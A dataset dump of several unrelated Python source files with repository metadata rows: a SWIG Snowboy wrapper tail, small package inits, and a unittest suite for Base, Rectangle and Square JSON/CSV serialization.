def __init__(self, resource_filename, model_str):
this = _snowboy.new_SnowboyPersonalDetect(resource_filename, model_str)
try:
self.this.append(this)
except:
self.this = this
def Reset(self):
return _snowboy.SnowboyPersonalDetect_Reset(self)
def RunDetection(self, data):
return _snowboy.SnowboyPersonalDetect_RunDetection(self, data)
def SetSensitivity(self, sensitivity_str):
return _snowboy.SnowboyPersonalDetect_SetSensitivity(self, sensitivity_str)
def GetSensitivity(self):
return _snowboy.SnowboyPersonalDetect_GetSensitivity(self)
def SetAudioGain(self, audio_gain):
return _snowboy.SnowboyPersonalDetect_SetAudioGain(self, audio_gain)
def UpdateModel(self):
return _snowboy.SnowboyPersonalDetect_UpdateModel(self)
def NumHotwords(self):
return _snowboy.SnowboyPersonalDetect_NumHotwords(self)
def SampleRate(self):
return _snowboy.SnowboyPersonalDetect_SampleRate(self)
def NumChannels(self):
return _snowboy.SnowboyPersonalDetect_NumChannels(self)
def BitsPerSample(self):
return _snowboy.SnowboyPersonalDetect_BitsPerSample(self)
__swig_destroy__ = _snowboy.delete_SnowboyPersonalDetect
__del__ = lambda self: None
SnowboyPersonalDetect_swigregister = _snowboy.SnowboyPersonalDetect_swigregister
SnowboyPersonalDetect_swigregister(SnowboyPersonalDetect)
class SnowboyUniversalDetect(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, SnowboyUniversalDetect, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, SnowboyUniversalDetect, name)
__repr__ = _swig_repr
def __init__(self, resource_filename, model_str):
this = _snowboy.new_SnowboyUniversalDetect(resource_filename, model_str)
try:
self.this.append(this)
except:
self.this = this
def Reset(self):
return _snowboy.SnowboyUniversalDetect_Reset(self)
def RunDetection(self, data):
return _snowboy.SnowboyUniversalDetect_RunDetection(self, data)
def SetSensitivity(self, sensitivity_str):
return _snowboy.SnowboyUniversalDetect_SetSensitivity(self, sensitivity_str)
def GetSensitivity(self):
return _snowboy.SnowboyUniversalDetect_GetSensitivity(self)
def SetAudioGain(self, audio_gain):
return _snowboy.SnowboyUniversalDetect_SetAudioGain(self, audio_gain)
def UpdateModel(self):
return _snowboy.SnowboyUniversalDetect_UpdateModel(self)
def NumHotwords(self):
return _snowboy.SnowboyUniversalDetect_NumHotwords(self)
def SampleRate(self):
return _snowboy.SnowboyUniversalDetect_SampleRate(self)
def NumChannels(self):
return _snowboy.SnowboyUniversalDetect_NumChannels(self)
def BitsPerSample(self):
return _snowboy.SnowboyUniversalDetect_BitsPerSample(self)
__swig_destroy__ = _snowboy.delete_SnowboyUniversalDetect
__del__ = lambda self: None
SnowboyUniversalDetect_swigregister = _snowboy.SnowboyUniversalDetect_swigregister
SnowboyUniversalDetect_swigregister(SnowboyUniversalDetect)
class SnowboyTemplateCut(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, SnowboyTemplateCut, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, SnowboyTemplateCut, name)
__repr__ = _swig_repr
def __init__(self, resource_filename):
this = _snowboy.new_SnowboyTemplateCut(resource_filename)
try:
self.this.append(this)
except:
self.this = this
def Reset(self):
return _snowboy.SnowboyTemplateCut_Reset(self)
def CutTemplate(self, data):
return _snowboy.SnowboyTemplateCut_CutTemplate(self, data)
def SampleRate(self):
return _snowboy.SnowboyTemplateCut_SampleRate(self)
def NumChannels(self):
return _snowboy.SnowboyTemplateCut_NumChannels(self)
def BitsPerSample(self):
return _snowboy.SnowboyTemplateCut_BitsPerSample(self)
__swig_destroy__ = _snowboy.delete_SnowboyTemplateCut
__del__ = lambda self: None
SnowboyTemplateCut_swigregister = _snowboy.SnowboyTemplateCut_swigregister
SnowboyTemplateCut_swigregister(SnowboyTemplateCut)
class SnowboyPersonalEnroll(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, SnowboyPersonalEnroll, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, SnowboyPersonalEnroll, name)
__repr__ = _swig_repr
def __init__(self, resource_filename, model_filename):
this = _snowboy.new_SnowboyPersonalEnroll(resource_filename, model_filename)
try:
self.this.append(this)
except:
self.this = this
def Reset(self):
return _snowboy.SnowboyPersonalEnroll_Reset(self)
def RunEnrollment(self, data):
return _snowboy.SnowboyPersonalEnroll_RunEnrollment(self, data)
def GetNumTemplates(self):
return _snowboy.SnowboyPersonalEnroll_GetNumTemplates(self)
def SampleRate(self):
return _snowboy.SnowboyPersonalEnroll_SampleRate(self)
def NumChannels(self):
return _snowboy.SnowboyPersonalEnroll_NumChannels(self)
def BitsPerSample(self):
return _snowboy.SnowboyPersonalEnroll_BitsPerSample(self)
__swig_destroy__ = _snowboy.delete_SnowboyPersonalEnroll
__del__ = lambda self: None
SnowboyPersonalEnroll_swigregister = _snowboy.SnowboyPersonalEnroll_swigregister
SnowboyPersonalEnroll_swigregister(SnowboyPersonalEnroll)
class SnowboyVadBuffer(_object):
__swig_setmethods__ = {}
__setattr__ = lambda self, name, value: _swig_setattr(self, SnowboyVadBuffer, name, value)
__swig_getmethods__ = {}
__getattr__ = lambda self, name: _swig_getattr(self, SnowboyVadBuffer, name)
__repr__ = _swig_repr
def __init__(self, resource_filename):
this = _snowboy.new_SnowboyVadBuffer(resource_filename)
try:
self.this.append(this)
except:
self.this = this
def RunVad(self, data):
return _snowboy.SnowboyVadBuffer_RunVad(self, data)
def Reset(self):
return _snowboy.SnowboyVadBuffer_Reset(self)
def ReadBuffer(self):
return _snowboy.SnowboyVadBuffer_ReadBuffer(self)
def SampleRate(self):
return _snowboy.SnowboyVadBuffer_SampleRate(self)
def NumChannels(self):
return _snowboy.SnowboyVadBuffer_NumChannels(self)
def BitsPerSample(self):
return _snowboy.SnowboyVadBuffer_BitsPerSample(self)
def SetAudioGain(self, audio_gain):
return _snowboy.SnowboyVadBuffer_SetAudioGain(self, audio_gain)
__swig_destroy__ = _snowboy.delete_SnowboyVadBuffer
__del__ = lambda self: None
SnowboyVadBuffer_swigregister = _snowboy.SnowboyVadBuffer_swigregister
SnowboyVadBuffer_swigregister(SnowboyVadBuffer)
# This file is compatible with both classic and new-style classes.
| 33.152299 | 100 | 0.721331 | 1,158 | 11,537 | 6.723661 | 0.120898 | 0.081814 | 0.076419 | 0.025687 | 0.509247 | 0.499358 | 0.464295 | 0.347804 | 0.304649 | 0.225405 | 0 | 0.001523 | 0.203432 | 11,537 | 347 | 101 | 33.247839 | 0.845702 | 0.025483 | 0 | 0.450382 | 1 | 0 | 0.008724 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.229008 | false | 0.007634 | 0.034351 | 0.19084 | 0.675573 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 4 |
5f51f1f184c9e05132743f19ed6a6cef790e74af | 34 | py | Python | tests/100-wrong.py | jsam/udebug-cli | 09613d1250cd17616f336658a16dffcb01d38340 | [
"Apache-2.0"
] | null | null | null | tests/100-wrong.py | jsam/udebug-cli | 09613d1250cd17616f336658a16dffcb01d38340 | [
"Apache-2.0"
] | null | null | null | tests/100-wrong.py | jsam/udebug-cli | 09613d1250cd17616f336658a16dffcb01d38340 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
python "wrong"
| 8.5 | 17 | 0.676471 | 5 | 34 | 4.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.117647 | 34 | 3 | 18 | 11.333333 | 0.766667 | 0.470588 | 0 | 0 | 0 | 0 | 0.294118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
5f60d507df87fc6d9591aef56fec2c32af92134b | 100 | py | Python | src/gravitum/exceptions.py | Sh4ww/gravitum | ecdf32e45ef4ffdc420a082f17d9767a3a664aab | [
"MIT"
] | null | null | null | src/gravitum/exceptions.py | Sh4ww/gravitum | ecdf32e45ef4ffdc420a082f17d9767a3a664aab | [
"MIT"
] | null | null | null | src/gravitum/exceptions.py | Sh4ww/gravitum | ecdf32e45ef4ffdc420a082f17d9767a3a664aab | [
"MIT"
] | null | null | null | class InvalidOperationError(Exception):
"""The exception used when execute operation failed."""
| 33.333333 | 59 | 0.77 | 10 | 100 | 7.7 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.13 | 100 | 2 | 60 | 50 | 0.885057 | 0.49 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
5f67e7d57ca174804c23ef624784d921273a7df2 | 65 | py | Python | tests/__init__.py | pbranson/dembuilder | 988250c9da5d98b19b447f180d8bb53d925b3bc7 | [
"MIT"
] | 1 | 2021-08-03T02:22:47.000Z | 2021-08-03T02:22:47.000Z | tests/__init__.py | pbranson/dembuilder | 988250c9da5d98b19b447f180d8bb53d925b3bc7 | [
"MIT"
] | 2 | 2019-05-27T03:26:04.000Z | 2021-07-29T14:59:29.000Z | tests/__init__.py | pbranson/dembuilder | 988250c9da5d98b19b447f180d8bb53d925b3bc7 | [
"MIT"
] | 4 | 2019-05-23T01:23:40.000Z | 2021-08-03T02:23:04.000Z | # -*- coding: utf-8 -*-
"""Unit test package for dembuilder."""
| 16.25 | 39 | 0.584615 | 8 | 65 | 4.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018519 | 0.169231 | 65 | 3 | 40 | 21.666667 | 0.685185 | 0.861538 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
395b2f9ec02b8e00cd5de598096c10b4df1ca0cb | 183 | py | Python | metalchemy/__init__.py | paylogic/metalchemy | fd1ea9e1407437fa33387296153f3ce0c0bf5da2 | [
"MIT"
] | 1 | 2015-08-21T05:19:31.000Z | 2015-08-21T05:19:31.000Z | metalchemy/__init__.py | paylogic/metalchemy | fd1ea9e1407437fa33387296153f3ce0c0bf5da2 | [
"MIT"
] | 1 | 2018-03-03T16:16:15.000Z | 2018-03-03T16:16:15.000Z | metalchemy/__init__.py | paylogic/metalchemy | fd1ea9e1407437fa33387296153f3ce0c0bf5da2 | [
"MIT"
] | 1 | 2018-03-03T16:14:07.000Z | 2018-03-03T16:14:07.000Z | """Entry point for API."""
__version__ = '1.0.0'
try:
from metalchemy.metadata import initialize
__all__ = ('__version__', initialize.__name__)
except ImportError:
pass
| 18.3 | 50 | 0.699454 | 21 | 183 | 5.333333 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02 | 0.180328 | 183 | 9 | 51 | 20.333333 | 0.726667 | 0.10929 | 0 | 0 | 0 | 0 | 0.101911 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.166667 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 4 |
3967e4223815626c4a0f0bf52778f7959e75faaf | 17,885 | py | Python | 0x0C-python-almost_a_circle/tests/test_models/test_base.py | gogomillan/holbertonschool-higher_level_programming | 1549ffc4fdc284271684321ff6edd882a314193a | [
"MIT"
] | null | null | null | 0x0C-python-almost_a_circle/tests/test_models/test_base.py | gogomillan/holbertonschool-higher_level_programming | 1549ffc4fdc284271684321ff6edd882a314193a | [
"MIT"
] | null | null | null | 0x0C-python-almost_a_circle/tests/test_models/test_base.py | gogomillan/holbertonschool-higher_level_programming | 1549ffc4fdc284271684321ff6edd882a314193a | [
"MIT"
] | null | null | null | #!/usr/bin/python3
"""
Module for unittests of base.py.
"""
import os
import unittest
from models.base import Base
from models.rectangle import Rectangle
from models.square import Square
class TestBase_instantiation(unittest.TestCase):
"""
Testing the constructor.
"""
def test_no_arg(self):
b1 = Base()
b2 = Base()
self.assertEqual(b1.id, b2.id - 1)
def test_three_bases(self):
b1 = Base()
b2 = Base()
b3 = Base()
self.assertEqual(b1.id, b3.id - 2)
def test_None_id(self):
b1 = Base(None)
b2 = Base(None)
self.assertEqual(b1.id, b2.id - 1)
def test_unique_id(self):
self.assertEqual(12, Base(12).id)
def test_nb_instances_after_unique_id(self):
b1 = Base()
b2 = Base(12)
b3 = Base()
self.assertEqual(b1.id, b3.id - 1)
def test_id_public(self):
b = Base(12)
b.id = 15
self.assertEqual(15, b.id)
def test_nb_instances_private(self):
with self.assertRaises(AttributeError):
print(Base(12).__nb_instances)
def test_str_id(self):
self.assertEqual("hello", Base("hello").id)
def test_float_id(self):
self.assertEqual(5.5, Base(5.5).id)
def test_complex_id(self):
self.assertEqual(complex(5), Base(complex(5)).id)
def test_dict_id(self):
self.assertEqual({"a": 1, "b": 2}, Base({"a": 1, "b": 2}).id)
def test_bool_id(self):
self.assertEqual(True, Base(True).id)
def test_list_id(self):
self.assertEqual([1, 2, 3], Base([1, 2, 3]).id)
def test_tuple_id(self):
self.assertEqual((1, 2), Base((1, 2)).id)
def test_set_id(self):
self.assertEqual({1, 2, 3}, Base({1, 2, 3}).id)
def test_frozenset_id(self):
self.assertEqual(frozenset({1, 2, 3}), Base(frozenset({1, 2, 3})).id)
def test_range_id(self):
self.assertEqual(range(5), Base(range(5)).id)
def test_bytes_id(self):
self.assertEqual(b'Python', Base(b'Python').id)
def test_bytearray_id(self):
self.assertEqual(bytearray(b'abcefg'), Base(bytearray(b'abcefg')).id)
def test_memoryview_id(self):
self.assertEqual(memoryview(b'abcefg'), Base(memoryview(b'abcefg')).id)
def test_inf_id(self):
self.assertEqual(float('inf'), Base(float('inf')).id)
def test_NaN_id(self):
self.assertNotEqual(float('nan'), Base(float('nan')).id)
def test_two_args(self):
with self.assertRaises(TypeError):
Base(1, 2)
class TestBase_to_json_string(unittest.TestCase):
"""
Testing to_json_string method
"""
def test_to_json_string_rectangle_type(self):
r = Rectangle(10, 7, 2, 8, 6)
self.assertEqual(str, type(Base.to_json_string([r.to_dictionary()])))
def test_to_json_string_rectangle_one_dict(self):
r = Rectangle(10, 7, 2, 8, 6)
self.assertTrue(len(Base.to_json_string([r.to_dictionary()])) == 53)
def test_to_json_string_rectangle_two_dicts(self):
r1 = Rectangle(2, 3, 5, 19, 2)
r2 = Rectangle(4, 2, 4, 1, 12)
list_dicts = [r1.to_dictionary(), r2.to_dictionary()]
self.assertTrue(len(Base.to_json_string(list_dicts)) == 106)
def test_to_json_string_square_type(self):
s = Square(10, 2, 3, 4)
self.assertEqual(str, type(Base.to_json_string([s.to_dictionary()])))
def test_to_json_string_square_one_dict(self):
s = Square(10, 2, 3, 4)
self.assertTrue(len(Base.to_json_string([s.to_dictionary()])) == 39)
def test_to_json_string_square_two_dicts(self):
s1 = Square(10, 2, 3, 4)
s2 = Square(4, 5, 21, 2)
list_dicts = [s1.to_dictionary(), s2.to_dictionary()]
self.assertTrue(len(Base.to_json_string(list_dicts)) == 78)
def test_to_json_string_empty_list(self):
self.assertEqual("[]", Base.to_json_string([]))
def test_to_json_string_none(self):
self.assertEqual("[]", Base.to_json_string(None))
def test_to_json_string_no_args(self):
with self.assertRaises(TypeError):
Base.to_json_string()
def test_to_json_string_more_than_one_arg(self):
with self.assertRaises(TypeError):
Base.to_json_string([], 1)
class TestBase_save_to_file(unittest.TestCase):
"""
Testing save_to_file method
"""
@classmethod
def tearDown(self):
"""Delete any created files."""
try:
os.remove("Rectangle.json")
except IOError:
pass
try:
os.remove("Square.json")
except IOError:
pass
try:
os.remove("Base.json")
except IOError:
pass
def test_save_to_file_one_rectangle(self):
r = Rectangle(10, 7, 2, 8, 5)
Rectangle.save_to_file([r])
with open("Rectangle.json", "r") as f:
self.assertTrue(len(f.read()) == 53)
def test_save_to_file_two_rectangles(self):
r1 = Rectangle(10, 7, 2, 8, 5)
r2 = Rectangle(2, 4, 1, 2, 3)
Rectangle.save_to_file([r1, r2])
with open("Rectangle.json", "r") as f:
self.assertTrue(len(f.read()) == 105)
def test_save_to_file_one_square(self):
s = Square(10, 7, 2, 8)
Square.save_to_file([s])
with open("Square.json", "r") as f:
self.assertTrue(len(f.read()) == 39)
def test_save_to_file_two_squares(self):
s1 = Square(10, 7, 2, 8)
s2 = Square(8, 1, 2, 3)
Square.save_to_file([s1, s2])
with open("Square.json", "r") as f:
self.assertTrue(len(f.read()) == 77)
def test_save_to_file_cls_name_for_filename(self):
s = Square(10, 7, 2, 8)
Base.save_to_file([s])
with open("Base.json", "r") as f:
self.assertTrue(len(f.read()) == 39)
def test_save_to_file_overwrite(self):
s = Square(9, 2, 39, 2)
Square.save_to_file([s])
s = Square(10, 7, 2, 8)
Square.save_to_file([s])
with open("Square.json", "r") as f:
self.assertTrue(len(f.read()) == 39)
def test_save_to_file_None(self):
Square.save_to_file(None)
with open("Square.json", "r") as f:
self.assertEqual("[]", f.read())
def test_save_to_file_empty_list(self):
Square.save_to_file([])
with open("Square.json", "r") as f:
self.assertEqual("[]", f.read())
def test_save_to_file_no_args(self):
with self.assertRaises(TypeError):
Rectangle.save_to_file()
def test_save_to_file_more_than_one_arg(self):
with self.assertRaises(TypeError):
Square.save_to_file([], 1)
class TestBase_from_json_string(unittest.TestCase):
"""
Testing from_json_string method
"""
def test_from_json_string_type(self):
list_input = [{"id": 89, "width": 10, "height": 4}]
json_list_input = Rectangle.to_json_string(list_input)
list_output = Rectangle.from_json_string(json_list_input)
self.assertEqual(list, type(list_output))
def test_from_json_string_one_rectangle(self):
list_input = [{"id": 89, "width": 10, "height": 4, "x": 7}]
json_list_input = Rectangle.to_json_string(list_input)
list_output = Rectangle.from_json_string(json_list_input)
self.assertEqual(list_input, list_output)
def test_from_json_string_two_rectangles(self):
list_input = [
{"id": 89, "width": 10, "height": 4, "x": 7, "y": 8},
{"id": 98, "width": 5, "height": 2, "x": 1, "y": 3},
]
json_list_input = Rectangle.to_json_string(list_input)
list_output = Rectangle.from_json_string(json_list_input)
self.assertEqual(list_input, list_output)
def test_from_json_string_one_square(self):
list_input = [{"id": 89, "size": 10, "height": 4}]
json_list_input = Square.to_json_string(list_input)
list_output = Square.from_json_string(json_list_input)
self.assertEqual(list_input, list_output)
def test_from_json_string_two_squares(self):
list_input = [
{"id": 89, "size": 10, "height": 4},
{"id": 7, "size": 1, "height": 7}
]
json_list_input = Square.to_json_string(list_input)
list_output = Square.from_json_string(json_list_input)
self.assertEqual(list_input, list_output)
def test_from_json_string_None(self):
self.assertEqual([], Base.from_json_string(None))
def test_from_json_string_empty_list(self):
self.assertEqual([], Base.from_json_string("[]"))
def test_from_json_string_no_args(self):
with self.assertRaises(TypeError):
Base.from_json_string()
def test_from_json_string_more_than_one_arg(self):
with self.assertRaises(TypeError):
Base.from_json_string([], 1)
class TestBase_create(unittest.TestCase):
"""
Testing create method
"""
def test_create_rectangle_original(self):
r1 = Rectangle(3, 5, 1, 2, 7)
r1_dictionary = r1.to_dictionary()
r2 = Rectangle.create(**r1_dictionary)
self.assertEqual("[Rectangle] (7) 1/2 - 3/5", str(r1))
def test_create_rectangle_new(self):
r1 = Rectangle(3, 5, 1, 2, 7)
r1_dictionary = r1.to_dictionary()
r2 = Rectangle.create(**r1_dictionary)
self.assertEqual("[Rectangle] (7) 1/2 - 3/5", str(r2))
def test_create_rectangle_is(self):
r1 = Rectangle(3, 5, 1, 2, 7)
r1_dictionary = r1.to_dictionary()
r2 = Rectangle.create(**r1_dictionary)
self.assertIsNot(r1, r2)
def test_create_rectangle_equals(self):
r1 = Rectangle(3, 5, 1, 2, 7)
r1_dictionary = r1.to_dictionary()
r2 = Rectangle.create(**r1_dictionary)
self.assertNotEqual(r1, r2)
def test_create_square_original(self):
s1 = Square(3, 5, 1, 7)
s1_dictionary = s1.to_dictionary()
s2 = Square.create(**s1_dictionary)
self.assertEqual("[Square] (7) 5/1 - 3", str(s1))
def test_create_square_new(self):
s1 = Square(3, 5, 1, 7)
s1_dictionary = s1.to_dictionary()
s2 = Square.create(**s1_dictionary)
self.assertEqual("[Square] (7) 5/1 - 3", str(s2))
def test_create_square_is(self):
s1 = Square(3, 5, 1, 7)
s1_dictionary = s1.to_dictionary()
s2 = Square.create(**s1_dictionary)
self.assertIsNot(s1, s2)
def test_create_square_equals(self):
s1 = Square(3, 5, 1, 7)
s1_dictionary = s1.to_dictionary()
s2 = Square.create(**s1_dictionary)
self.assertNotEqual(s1, s2)
class TestBase_load_from_file(unittest.TestCase):
"""
Testing load_from_file_method.
"""
@classmethod
def tearDown(self):
try:
os.remove("Rectangle.json")
except IOError:
pass
try:
os.remove("Square.json")
except IOError:
pass
def test_load_from_file_first_rectangle(self):
r1 = Rectangle(10, 7, 2, 8, 1)
r2 = Rectangle(2, 4, 5, 6, 2)
Rectangle.save_to_file([r1, r2])
list_rectangles_output = Rectangle.load_from_file()
self.assertEqual(str(r1), str(list_rectangles_output[0]))
def test_load_from_file_second_rectangle(self):
r1 = Rectangle(10, 7, 2, 8, 1)
r2 = Rectangle(2, 4, 5, 6, 2)
Rectangle.save_to_file([r1, r2])
list_rectangles_output = Rectangle.load_from_file()
self.assertEqual(str(r2), str(list_rectangles_output[1]))
def test_load_from_file_rectangle_types(self):
r1 = Rectangle(10, 7, 2, 8, 1)
r2 = Rectangle(2, 4, 5, 6, 2)
Rectangle.save_to_file([r1, r2])
output = Rectangle.load_from_file()
self.assertTrue(all(type(obj) == Rectangle for obj in output))
def test_load_from_file_first_square(self):
s1 = Square(5, 1, 3, 3)
s2 = Square(9, 5, 2, 3)
Square.save_to_file([s1, s2])
list_squares_output = Square.load_from_file()
self.assertEqual(str(s1), str(list_squares_output[0]))
def test_load_from_file_second_square(self):
s1 = Square(5, 1, 3, 3)
s2 = Square(9, 5, 2, 3)
Square.save_to_file([s1, s2])
list_squares_output = Square.load_from_file()
self.assertEqual(str(s2), str(list_squares_output[1]))
def test_load_from_file_square_types(self):
s1 = Square(5, 1, 3, 3)
s2 = Square(9, 5, 2, 3)
Square.save_to_file([s1, s2])
output = Square.load_from_file()
self.assertTrue(all(type(obj) == Square for obj in output))
def test_load_from_file_no_file(self):
output = Square.load_from_file()
self.assertEqual([], output)
def test_load_from_file_more_than_one_arg(self):
with self.assertRaises(TypeError):
Base.load_from_file([], 1)
class TestBase_save_to_file_csv(unittest.TestCase):
"""
Testing save_to_file_csv method.
"""
@classmethod
def tearDown(self):
try:
os.remove("Rectangle.csv")
except IOError:
pass
try:
os.remove("Square.csv")
except IOError:
pass
try:
os.remove("Base.csv")
except IOError:
pass
def test_save_to_file_csv_one_rectangle(self):
r = Rectangle(10, 7, 2, 8, 5)
Rectangle.save_to_file_csv([r])
with open("Rectangle.csv", "r") as f:
self.assertTrue("5,10,7,2,8", f.read())
def test_save_to_file_csv_two_rectangles(self):
r1 = Rectangle(10, 7, 2, 8, 5)
r2 = Rectangle(2, 4, 1, 2, 3)
Rectangle.save_to_file_csv([r1, r2])
with open("Rectangle.csv", "r") as f:
self.assertTrue("5,10,7,2,8\n2,4,1,2,3", f.read())
def test_save_to_file_csv_one_square(self):
s = Square(10, 7, 2, 8)
Square.save_to_file_csv([s])
with open("Square.csv", "r") as f:
self.assertTrue("8,10,7,2", f.read())
def test_save_to_file_csv_two_squares(self):
s1 = Square(10, 7, 2, 8)
s2 = Square(8, 1, 2, 3)
Square.save_to_file_csv([s1, s2])
with open("Square.csv", "r") as f:
self.assertTrue("8,10,7,2\n3,8,1,2", f.read())
def test_save_to_file__csv_cls_name(self):
s = Square(10, 7, 2, 8)
Base.save_to_file_csv([s])
with open("Base.csv", "r") as f:
self.assertTrue("8,10,7,2", f.read())
def test_save_to_file_csv_overwrite(self):
s = Square(9, 2, 39, 2)
Square.save_to_file_csv([s])
s = Square(10, 7, 2, 8)
Square.save_to_file_csv([s])
with open("Square.csv", "r") as f:
self.assertTrue("8,10,7,2", f.read())
def test_save_to_file__csv_None(self):
Square.save_to_file_csv(None)
with open("Square.csv", "r") as f:
self.assertEqual("[]", f.read())
def test_save_to_file_csv_empty_list(self):
Square.save_to_file_csv([])
with open("Square.csv", "r") as f:
self.assertEqual("[]", f.read())
def test_save_to_file_csv_no_args(self):
with self.assertRaises(TypeError):
Rectangle.save_to_file_csv()
def test_save_to_file_csv_more_than_one_arg(self):
with self.assertRaises(TypeError):
Square.save_to_file_csv([], 1)
class TestBase_load_from_file_csv(unittest.TestCase):
"""
Testing load_from_file_csv method
"""
@classmethod
def tearDown(self):
try:
os.remove("Rectangle.csv")
except IOError:
pass
try:
os.remove("Square.csv")
except IOError:
pass
def test_load_from_file_csv_first_rectangle(self):
r1 = Rectangle(10, 7, 2, 8, 1)
r2 = Rectangle(2, 4, 5, 6, 2)
Rectangle.save_to_file_csv([r1, r2])
list_rectangles_output = Rectangle.load_from_file_csv()
self.assertEqual(str(r1), str(list_rectangles_output[0]))
def test_load_from_file_csv_second_rectangle(self):
r1 = Rectangle(10, 7, 2, 8, 1)
r2 = Rectangle(2, 4, 5, 6, 2)
Rectangle.save_to_file_csv([r1, r2])
list_rectangles_output = Rectangle.load_from_file_csv()
self.assertEqual(str(r2), str(list_rectangles_output[1]))
def test_load_from_file_csv_rectangle_types(self):
r1 = Rectangle(10, 7, 2, 8, 1)
r2 = Rectangle(2, 4, 5, 6, 2)
Rectangle.save_to_file_csv([r1, r2])
output = Rectangle.load_from_file_csv()
self.assertTrue(all(type(obj) == Rectangle for obj in output))
def test_load_from_file_csv_first_square(self):
s1 = Square(5, 1, 3, 3)
s2 = Square(9, 5, 2, 3)
Square.save_to_file_csv([s1, s2])
list_squares_output = Square.load_from_file_csv()
self.assertEqual(str(s1), str(list_squares_output[0]))
def test_load_from_file_csv_second_square(self):
s1 = Square(5, 1, 3, 3)
s2 = Square(9, 5, 2, 3)
Square.save_to_file_csv([s1, s2])
list_squares_output = Square.load_from_file_csv()
self.assertEqual(str(s2), str(list_squares_output[1]))
def test_load_from_file_csv_square_types(self):
s1 = Square(5, 1, 3, 3)
s2 = Square(9, 5, 2, 3)
Square.save_to_file_csv([s1, s2])
output = Square.load_from_file_csv()
self.assertTrue(all(type(obj) == Square for obj in output))
def test_load_from_file_csv_no_file(self):
output = Square.load_from_file_csv()
self.assertEqual([], output)
def test_load_from_file_csv_more_than_one_arg(self):
with self.assertRaises(TypeError):
Base.load_from_file_csv([], 1)
if __name__ == "__main__":
unittest.main()
| 32.816514 | 79 | 0.610959 | 2,575 | 17,885 | 3.966602 | 0.062524 | 0.058939 | 0.056785 | 0.03691 | 0.834835 | 0.785001 | 0.737223 | 0.694537 | 0.637067 | 0.591737 | 0 | 0.046768 | 0.255186 | 17,885 | 544 | 80 | 32.876838 | 0.719991 | 0.017389 | 0 | 0.538462 | 0 | 0 | 0.036924 | 0.001204 | 0 | 0 | 0 | 0 | 0.206731 | 1 | 0.216346 | false | 0.024038 | 0.012019 | 0 | 0.247596 | 0.002404 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
396ade23ed89dae7b4e42ac2a17ab83961107cc8 | 165 | py | Python | blueprints/era_mssql/packages.py | halsayed/calm | 46c93ac2b02227663f0184d149f62d142b2638cc | [
"MIT"
] | null | null | null | blueprints/era_mssql/packages.py | halsayed/calm | 46c93ac2b02227663f0184d149f62d142b2638cc | [
"MIT"
] | null | null | null | blueprints/era_mssql/packages.py | halsayed/calm | 46c93ac2b02227663f0184d149f62d142b2638cc | [
"MIT"
] | 1 | 2021-11-16T10:28:42.000Z | 2021-11-16T10:28:42.000Z | from calm.dsl.builtins import Package, ref
from services import Mssql
class MssqlPackage(Package):
"""Postgres Package on ERA"""
services = [ref(Mssql)]
